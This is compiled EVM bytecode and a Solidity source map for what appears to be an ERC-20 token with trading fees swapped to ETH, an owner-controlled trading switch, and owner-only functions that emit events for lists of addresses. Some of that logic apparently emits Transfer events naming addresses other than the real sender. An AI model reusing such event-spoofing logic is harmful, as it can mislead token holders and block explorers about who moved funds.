054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15610f94576001600660146101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115610d8757610d86611ad9565b5b604051908082528060200260200182016040528015610db55781602001602082028036833780820191505090505b50905030815f81518110610dcc57610dcb611a4f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281600181518110610e2f57610e2e611a4f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663eb6f613960646012600a610ea99190611991565b6305f5e100610eb891906119db565b610ec29190611aa9565b5f8430426040518663ffffffff1660e01b8152600401610ee6959493929190611c0e565b5f604051808303815f87803b158015610efd575f80fd5b505af1158015610f0f573d5f803e3d5ffd5b5050505060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610f77573d5f803e3d5ffd5b505f600660146101000a81548160ff021916908315150217905550505b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610fe3575060011515600660159054906101000a900460ff161515145b156110e1575f606460055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161461105457600260019054906101000a900460ff16611064565b60025f9054906101000a900460ff165b60ff168461107291906119db565b61107c9190611aa9565b9050808361108a9190611a1c565b92508060035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546110d89190611c66565b92505081905550505b8160035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461112d9190611c66565b9250508190555060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611213578273ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112069190611597565b60405180910390a3611359565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112f25760075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112e59190611597565b60405180910390a3611358565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161134f9190611597565b60405180910390a35b5b600190509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561139b578082015181840152602081019050611380565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6113c082611364565b6113ca818561136e565b93506113da81856020860161137e565b6113e3816113a6565b840191505092915050565b5f6020820190508181035f83015261140681846113b6565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61143f82611416565b9050919050565b61144f81611435565b8114611459575f80fd5b50565b5f8135905061146a81611446565b92915050565b5f819050919050565b61148281611470565b811461148c575f80fd5b50565b5f8135905061149d81611479565b92915050565b5f80604083850312156114b9576114b861140e565b5b5f6114c68582860161145c565b92505060206114d78582860161148f565b9150509250929050565b5f8115159050919050565b6114f5816114e1565b82525050565b5f60208201905061150e5f8301846114ec565b92915050565b5f60ff82169050919050565b61152981611514565b8114611533575f80fd5b50565b5f8135905061154481611520565b92915050565b5f80604083850312156115605761155f61140e565b5b5f61156d85828601611536565b925050602061157e85828601611536565b9150509250929050565b61159181611470565b82525050565b5f6020820190506115aa5f830184611588565b92915050565b5f805f606084860312156115c7576115c661140e565b5b5f6115d48682870161145c565b93505060206115e58682870161145c565b92505060406115f68682870161148f565b9150509250925092565b61160981611514565b82525050565b5f6020820190506116225f830184611600565b92915050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f84011261164957611648611628565b5b8235905067ffffffffffffffff8111156116665761166561162c565b5b60208301915083602082028301111561168257611681611630565b5b9250929050565b5f8083601f84011261169e5761169d611628565b5b8235905067ffffffffffffffff8111156116bb576116ba61162c565b5b6020830191508360208202830111156116d7576116d6611630565b5b9250929050565b5f805f805f606086880312156116f7576116f661140e565b5b5f6117048882890161145c565b955050602086013567ffffffffffffffff81111561172557611724611412565b5b61173188828901611634565b9450945050604086013567ffffffffffffffff81111561175457611753611412565b5b61176088828901611689565b92509250509295509295909350565b5f602082840312156117845761178361140e565b5b5f6117918482850161145c565b91505092915050565b5f80604083850312156117b0576117af61140e565b5b5f6117bd8582860161145c565b92505060206117ce8582860161145c565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061181c57607f821691505b60208210810361182f5761182e6117d8565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156118b75780860481111561189357611892611835565b5b60018516156118a25780820291505b80810290506118b085611862565b9450611877565b94509492505050565b5f826118cf576001905061198a565b816118dc575f905061198a565b81600181146118f257600281146118fc5761192b565b600191505061198a565b60ff84111561190e5761190d611835565b5b8360020a91508482111561192557611924611835565b5b5061198a565b5060208310610133831016604e8410600b84101617156119605782820a90508381111561195b5761195a611835565b5b61198a565b61196d848484600161186e565b9250905081840481111561198457611983611835565b5b81810290505b9392505050565b5f61199b82611470565b91506119a683611514565b92506119d37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846118c0565b905092915050565b5f6119e582611470565b91506119f083611470565b92508282026119fe81611470565b91508282048414831517611a1557611a14611835565b5b5092915050565b5f611a2682611470565b9150611a3183611470565b9250828203905081811115611a4957611a48611835565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611ab382611470565b9150611abe83611470565b925082611ace57611acd611a7c565b5b828204905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f819050919050565b5f819050919050565b5f611b32611b2d611b2884611b06565b611b0f565b611470565b9050919050565b611b4281611b18565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b611b7a81611435565b82525050565b5f611b8b8383611b71565b60208301905092915050565b5f602082019050919050565b5f611bad82611b48565b611bb78185611b52565b9350611bc283611b62565b805f5b83811015611bf2578151611bd98882611b80565b9750611be483611b97565b925050600181019050611bc5565b5085935050505092915050565b611c0881611435565b82525050565b5f60a082019050611c215f830188611588565b611c2e6020830187611b39565b8181036040830152611c408186611ba3565b9050611c4f6060830185611bff565b611c5c6080830184611588565b9695505050505050565b5f611c7082611470565b9150611c7b83611470565b9250828201905080821115611c9357611c92611835565b5b9291505056fea26469706673582212203941719fb4b89747cd4a7e0f2586ca9b6914cccd4b09d92d7e5936d507fc39db64736f6c63430008160033

1107:6065:6:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5350:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4998:207;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3640:153;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1268:66;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4767:223;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1226:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4296:338;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1680:44;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5449:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5213:129;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3953:335;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3801:144;;;;;;;;;;;;;:::i;:::-;;1731:64;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5350:91;5395:13;5428:5;5421:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5350:91;:::o;4998:207::-;5066:4;5116:6;5083:9;:21;5093:10;5083:21;;;;;;;;;;;;;;;:30;5105:7;5083:30;;;;;;;;;;;;;;;:39;;;;5159:7;5138:37;;5147:10;5138:37;;;5168:6;5138:37;;;;;;:::i;:::-;;;;;;;;5193:4;5186:11;;4998:207;;;;:::o;3640:153::-;3720:9;;;;;;;;;;;3706:23;;:10;:23;;;3702:49;;3738:13;;;;;;;;;;;;;;3702:49;3762:23;3773:4;3779:5;3762:10;:23::i;:::-;3640:153;;:::o;1268:66::-;1259:2;1320;:14;;;;:::i;:::-;1306:11;:28;;;;:::i;:::-;1268:66;:::o;4767:223::-;4883:4;4931:6;4900:9;:15;4910:4;4900:15;;;;;;;;;;;;;;;:27;4916:10;4900:27;;;;;;;;;;;;;;;;:37;;;;;;;:::i;:::-;;;;;;;;4955:27;4965:4;4971:2;4975:6;4955:9;:27::i;:::-;4948:34;;4767:223;;;;;:::o;1226:35::-;1259:2;1226:35;:::o;4296:338::-;4465:9;;;;;;;;;;;4451:23;;:10;:23;;;4447:49;;4483:13;;;;;;;;;;;;;;4447:49;4512:9;4507:120;4531:8;;:15;;4527:1;:19;4507:120;;;4591:8;;4600:1;4591:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;4573:42;;4582:7;4573:42;;;4604:7;;4612:1;4604:10;;;;;;;:::i;:::-;;;;;;;;4573:42;;;;;;:::i;:::-;;;;;;;;4548:3;;;;;;;4507:120;;;;4296:338;;;;;:::o;1680:44::-;;;;;;;;;;;;;;;;;:::o;5449:95::-;5496:13;5529:7;5522:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5449:95;:::o;5213:129::-;5277:4;5301:33;5311:10;5323:2;5327:6;5301:9;:33::i;:::-;5294:40;;5213:129;;;;:::o;3953:335::-;4119:9;;;;;;;;;;;4105:23;;:10;:23;;;4101:49;;4137:13;;;;;;;;;;;;;;4101:49;4166:9;4161:120;4185:8;;:15;;4181:1;:19;4161:120;;;4245:8;;4254:1;4245:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;4227:42;;4236:7;4227:42;;;4258:7;;4266:1;4258:10;;;;;;;:::i;:::-;;;;;;;;4227:42;;;;;;:::i;:::-;;;;;;;;4202:3;;;;;;;4161:120;;;;3953:335;;;;;:::o;3801:144::-;3866:9;;;;;;;;;;;3852:23;;:10;:23;;;3844:32;;;;;;3896:11;;;;;;;;;;;3895:12;3887:21;;;;;;3933:4;3919:11;;:18;;;;;;;;;;;;;;;;;;3801:144::o;1731:64::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;4642:117::-;4718:4;4706:9;;:16;;;;;;;;;;;;;;;;;;4746:5;4733:10;;:18;;;;;;;;;;;;;;;;;;4642:117;;:::o;5552:1617::-;5665:4;5690:11;;;;;;;;;;;:32;;;;5713:9;;;;;;;;;;;5705:17;;:4;:17;;;5690:32;:51;;;;5732:9;;;;;;;;;;;5726:15;;:2;:15;;;5690:51;5682:60;;;;;;5760:11;;;;;;;;;;;5759:12;:34;;;;;5791:1;5775:18;;:4;;;;;;;;;;;:18;;;5759:34;:48;;;;;5806:1;5797:6;:10;5759:48;5755:63;;;5816:2;5809:4;;:9;;;;;;;;;;;;;;;;;;5755:63;5850:6;5831:9;:15;5841:4;5831:15;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;5893:4;;;;;;;;;;;5887:10;;:2;:10;;;:36;;;;;5915:8;;;;;;;;;;;5914:9;5887:36;:91;;;;;1440:3;1259:2;1320;:14;;;;:::i;:::-;1306:11;:28;;;;:::i;:::-;1426:17;;;;:::i;:::-;5940:9;:24;5958:4;5940:24;;;;;;;;;;;;;;;;:38;;5887:91;:125;;;;;6003:9;;;;;;;;;;;5995:17;;:4;:17;;;;5887:125;5869:685;;;6050:4;6039:8;;:15;;;;;;;;;;;;;;;;;;6069:21;6107:1;6093:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6069:40;;6142:4;6124;6129:1;6124:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;1854:42;6162:4;6167:1;6162:7;;;;;;;;:::i;:::-;;;;;;;:13;;;;;;;;;;;1936:42;6190:88;;;1440:3;1259:2;1320;:14;;;;:::i;:::-;1306:11;:28;;;;:::i;:::-;1426:17;;;;:::i;:::-;6334:1;6358:4;6393;6421:15;6190:265;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6470:9;;;;;;;;;;;:18;;:41;6489:21;6470:41;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6537:5;6526:8;;:16;;;;;;;;;;;;;;;;;;6024:530;5869:685;6586:4;6570:21;;:4;:21;;;;:44;;;;;6610:4;6595:19;;:11;;;;;;;;;;;:19;;;6570:44;6566:286;;;6631:27;6731:3;6697:4;;;;;;;;;;;6689:12;;:4;:12;;;:37;;6716:10;;;;;;;;;;;6689:37;;;6704:9;;;;;;;;;;;6689:37;6662:65;;:6;:65;;;;:::i;:::-;6661:73;;;;:::i;:::-;6631:103;;6759:19;6749:29;;;;;:::i;:::-;;;6821:19;6793:9;:24;6811:4;6793:24;;;;;;;;;;;;;;;;:47;;;;;;;:::i;:::-;;;;;;;;6616:236;6566:286;6879:6;6862:9;:13;6872:2;6862:13;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;6910:9;;;;;;;;;;;6902:17;;:4;:17;;;6898:242;;6961:2;6941:31;;6950:9;;;;;;;;;;;6941:31;;;6965:6;6941:31;;;;;;:::i;:::-;;;;;;;;6898:242;;;7000:9;;;;;;;;;;;6994:15;;:2;:15;;;6990:150;;7046:9;;;;;;;;;;;7031:33;;7040:4;7031:33;;;7057:6;7031:33;;;;;;:::i;:::-;;;;;;;;6990:150;;;7117:2;7102:26;;7111:4;7102:26;;;7121:6;7102:26;;;;;;:::i;:::-;;;;;;;;6990:150;6898:242;7157:4;7150:11;;5552:1617;;;;;:::o;7:99:9:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:86::-;3481:7;3521:4;3514:5;3510:16;3499:27;;3446:86;;;:::o;3538:118::-;3609:22;3625:5;3609:22;:::i;:::-;3602:5;3599:33;3589:61;;3646:1;3643;3636:12;3589:61;3538:118;:::o;3662:135::-;3706:5;3744:6;3731:20;3722:29;;3760:31;3785:5;3760:31;:::i;:::-;3662:135;;;;:::o;3803:466::-;3867:6;3875;3924:2;3912:9;3903:7;3899:23;3895:32;3892:119;;;3930:79;;:::i;:::-;3892:119;4050:1;4075:51;4118:7;4109:6;4098:9;4094:22;4075:51;:::i;:::-;4065:61;;4021:115;4175:2;4201:51;4244:7;4235:6;4224:9;4220:22;4201:51;:::i;:::-;4191:61;;4146:116;3803:466;;;;;:::o;4275:118::-;4362:24;4380:5;4362:24;:::i;:::-;4357:3;4350:37;4275:118;;:::o;4399:222::-;4492:4;4530:2;4519:9;4515:18;4507:26;;4543:71;4611:1;4600:9;4596:17;4587:6;4543:71;:::i;:::-;4399:222;;;;:::o;4627:619::-;4704:6;4712;4720;4769:2;4757:9;4748:7;4744:23;4740:32;4737:119;;;4775:79;;:::i;:::-;4737:119;4895:1;4920:53;4965:7;4956:6;4945:9;4941:22;4920:53;:::i;:::-;4910:63;;4866:117;5022:2;5048:53;5093:7;5084:6;5073:9;5069:22;5048:53;:::i;:::-;5038:63;;4993:118;5150:2;5176:53;5221:7;5212:6;5201:9;5197:22;5176:53;:::i;:::-;5166:63;;5121:118;4627:619;;;;;:::o;5252:112::-;5335:22;5351:5;5335:22;:::i;:::-;5330:3;5323:35;5252:112;;:::o;5370:214::-;5459:4;5497:2;5486:9;5482:18;5474:26;;5510:67;5574:1;5563:9;5559:17;5550:6;5510:67;:::i;:::-;5370:214;;;;:::o;5590:117::-;5699:1;5696;5689:12;5713:117;5822:1;5819;5812:12;5836:117;5945:1;5942;5935:12;5976:568;6049:8;6059:6;6109:3;6102:4;6094:6;6090:17;6086:27;6076:122;;6117:79;;:::i;:::-;6076:122;6230:6;6217:20;6207:30;;6260:18;6252:6;6249:30;6246:117;;;6282:79;;:::i;:::-;6246:117;6396:4;6388:6;6384:17;6372:29;;6450:3;6442:4;6434:6;6430:17;6420:8;6416:32;6413:41;6410:128;;;6457:79;;:::i;:::-;6410:128;5976:568;;;;;:::o;6567:::-;6640:8;6650:6;6700:3;6693:4;6685:6;6681:17;6677:27;6667:122;;6708:79;;:::i;:::-;6667:122;6821:6;6808:20;6798:30;;6851:18;6843:6;6840:30;6837:117;;;6873:79;;:::i;:::-;6837:117;6987:4;6979:6;6975:17;6963:29;;7041:3;7033:4;7025:6;7021:17;7011:8;7007:32;7004:41;7001:128;;;7048:79;;:::i;:::-;7001:128;6567:568;;;;;:::o;7141:1079::-;7272:6;7280;7288;7296;7304;7353:2;7341:9;7332:7;7328:23;7324:32;7321:119;;;7359:79;;:::i;:::-;7321:119;7479:1;7504:53;7549:7;7540:6;7529:9;7525:22;7504:53;:::i;:::-;7494:63;;7450:117;7634:2;7623:9;7619:18;7606:32;7665:18;7657:6;7654:30;7651:117;;;7687:79;;:::i;:::-;7651:117;7800:80;7872:7;7863:6;7852:9;7848:22;7800:80;:::i;:::-;7782:98;;;;7577:313;7957:2;7946:9;7942:18;7929:32;7988:18;7980:6;7977:30;7974:117;;;8010:79;;:::i;:::-;7974:117;8123:80;8195:7;8186:6;8175:9;8171:22;8123:80;:::i;:::-;8105:98;;;;7900:313;7141:1079;;;;;;;;:::o;8226:329::-;8285:6;8334:2;8322:9;8313:7;8309:23;8305:32;8302:119;;;8340:79;;:::i;:::-;8302:119;8460:1;8485:53;8530:7;8521:6;8510:9;8506:22;8485:53;:::i;:::-;8475:63;;8431:117;8226:329;;;;:::o;8561:474::-;8629:6;8637;8686:2;8674:9;8665:7;8661:23;8657:32;8654:119;;;8692:79;;:::i;:::-;8654:119;8812:1;8837:53;8882:7;8873:6;8862:9;8858:22;8837:53;:::i;:::-;8827:63;;8783:117;8939:2;8965:53;9010:7;9001:6;8990:9;8986:22;8965:53;:::i;:::-;8955:63;;8910:118;8561:474;;;;;:::o;9041:180::-;9089:77;9086:1;9079:88;9186:4;9183:1;9176:15;9210:4;9207:1;9200:15;9227:320;9271:6;9308:1;9302:4;9298:12;9288:22;;9355:1;9349:4;9345:12;9376:18;9366:81;;9432:4;9424:6;9420:17;9410:27;;9366:81;9494:2;9486:6;9483:14;9463:18;9460:38;9457:84;;9513:18;;:::i;:::-;9457:84;9278:269;9227:320;;;:::o;9553:180::-;9601:77;9598:1;9591:88;9698:4;9695:1;9688:15;9722:4;9719:1;9712:15;9739:102;9781:8;9828:5;9825:1;9821:13;9800:34;;9739:102;;;:::o;9847:848::-;9908:5;9915:4;9939:6;9930:15;;9963:5;9954:14;;9977:712;9998:1;9988:8;9985:15;9977:712;;;10093:4;10088:3;10084:14;10078:4;10075:24;10072:50;;;10102:18;;:::i;:::-;10072:50;10152:1;10142:8;10138:16;10135:451;;;10567:4;10560:5;10556:16;10547:25;;10135:451;10617:4;10611;10607:15;10599:23;;10647:32;10670:8;10647:32;:::i;:::-;10635:44;;9977:712;;;9847:848;;;;;;;:::o;10701:1073::-;10755:5;10946:8;10936:40;;10967:1;10958:10;;10969:5;;10936:40;10995:4;10985:36;;11012:1;11003:10;;11014:5;;10985:36;11081:4;11129:1;11124:27;;;;11165:1;11160:191;;;;11074:277;;11124:27;11142:1;11133:10;;11144:5;;;11160:191;11205:3;11195:8;11192:17;11189:43;;;11212:18;;:::i;:::-;11189:43;11261:8;11258:1;11254:16;11245:25;;11296:3;11289:5;11286:14;11283:40;;;11303:18;;:::i;:::-;11283:40;11336:5;;;11074:277;;11460:2;11450:8;11447:16;11441:3;11435:4;11432:13;11428:36;11410:2;11400:8;11397:16;11392:2;11386:4;11383:12;11379:35;11363:111;11360:246;;;11516:8;11510:4;11506:19;11497:28;;11551:3;11544:5;11541:14;11538:40;;;11558:18;;:::i;:::-;11538:40;11591:5;;11360:246;11631:42;11669:3;11659:8;11653:4;11650:1;11631:42;:::i;:::-;11616:57;;;;11705:4;11700:3;11696:14;11689:5;11686:25;11683:51;;;11714:18;;:::i;:::-;11683:51;11763:4;11756:5;11752:16;11743:25;;10701:1073;;;;;;:::o;11780:281::-;11838:5;11862:23;11880:4;11862:23;:::i;:::-;11854:31;;11906:25;11922:8;11906:25;:::i;:::-;11894:37;;11950:104;11987:66;11977:8;11971:4;11950:104;:::i;:::-;11941:113;;11780:281;;;;:::o;12067:410::-;12107:7;12130:20;12148:1;12130:20;:::i;:::-;12125:25;;12164:20;12182:1;12164:20;:::i;:::-;12159:25;;12219:1;12216;12212:9;12241:30;12259:11;12241:30;:::i;:::-;12230:41;;12420:1;12411:7;12407:15;12404:1;12401:22;12381:1;12374:9;12354:83;12331:139;;12450:18;;:::i;:::-;12331:139;12115:362;12067:410;;;;:::o;12483:194::-;12523:4;12543:20;12561:1;12543:20;:::i;:::-;12538:25;;12577:20;12595:1;12577:20;:::i;:::-;12572:25;;12621:1;12618;12614:9;12606:17;;12645:1;12639:4;12636:11;12633:37;;;12650:18;;:::i;:::-;12633:37;12483:194;;;;:::o;12683:180::-;12731:77;12728:1;12721:88;12828:4;12825:1;12818:15;12852:4;12849:1;12842:15;12869:180;12917:77;12914:1;12907:88;13014:4;13011:1;13004:15;13038:4;13035:1;13028:15;13055:185;13095:1;13112:20;13130:1;13112:20;:::i;:::-;13107:25;;13146:20;13164:1;13146:20;:::i;:::-;13141:25;;13185:1;13175:35;;13190:18;;:::i;:::-;13175:35;13232:1;13229;13225:9;13220:14;;13055:185;;;;:::o;13246:180::-;13294:77;13291:1;13284:88;13391:4;13388:1;13381:15;13415:4;13412:1;13405:15;13432:85;13477:7;13506:5;13495:16;;13432:85;;;:::o;13523:60::-;13551:3;13572:5;13565:12;;13523:60;;;:::o;13589:158::-;13647:9;13680:61;13698:42;13707:32;13733:5;13707:32;:::i;:::-;13698:42;:::i;:::-;13680:61;:::i;:::-;13667:74;;13589:158;;;:::o;13753:147::-;13848:45;13887:5;13848:45;:::i;:::-;13843:3;13836:58;13753:147;;:::o;13906:114::-;13973:6;14007:5;14001:12;13991:22;;13906:114;;;:::o;14026:184::-;14125:11;14159:6;14154:3;14147:19;14199:4;14194:3;14190:14;14175:29;;14026:184;;;;:::o;14216:132::-;14283:4;14306:3;14298:11;;14336:4;14331:3;14327:14;14319:22;;14216:132;;;:::o;14354:108::-;14431:24;14449:5;14431:24;:::i;:::-;14426:3;14419:37;14354:108;;:::o;14468:179::-;14537:10;14558:46;14600:3;14592:6;14558:46;:::i;:::-;14636:4;14631:3;14627:14;14613:28;;14468:179;;;;:::o;14653:113::-;14723:4;14755;14750:3;14746:14;14738:22;;14653:113;;;:::o;14802:732::-;14921:3;14950:54;14998:5;14950:54;:::i;:::-;15020:86;15099:6;15094:3;15020:86;:::i;:::-;15013:93;;15130:56;15180:5;15130:56;:::i;:::-;15209:7;15240:1;15225:284;15250:6;15247:1;15244:13;15225:284;;;15326:6;15320:13;15353:63;15412:3;15397:13;15353:63;:::i;:::-;15346:70;;15439:60;15492:6;15439:60;:::i;:::-;15429:70;;15285:224;15272:1;15269;15265:9;15260:14;;15225:284;;;15229:14;15525:3;15518:10;;14926:608;;;14802:732;;;;:::o;15540:118::-;15627:24;15645:5;15627:24;:::i;:::-;15622:3;15615:37;15540:118;;:::o;15664:831::-;15927:4;15965:3;15954:9;15950:19;15942:27;;15979:71;16047:1;16036:9;16032:17;16023:6;15979:71;:::i;:::-;16060:80;16136:2;16125:9;16121:18;16112:6;16060:80;:::i;:::-;16187:9;16181:4;16177:20;16172:2;16161:9;16157:18;16150:48;16215:108;16318:4;16309:6;16215:108;:::i;:::-;16207:116;;16333:72;16401:2;16390:9;16386:18;16377:6;16333:72;:::i;:::-;16415:73;16483:3;16472:9;16468:19;16459:6;16415:73;:::i;:::-;15664:831;;;;;;;;:::o;16501:191::-;16541:3;16560:20;16578:1;16560:20;:::i;:::-;16555:25;;16594:20;16612:1;16594:20;:::i;:::-;16589:25;;16637:1;16634;16630:9;16623:16;;16658:3;16655:1;16652:10;16649:36;;;16665:18;;:::i;:::-;16649:36;16501:191;;;;:::o

ipfs://3941719fb4b89747cd4a7e0f2586ca9b6914cccd4b09d92d7e5936d507fc39db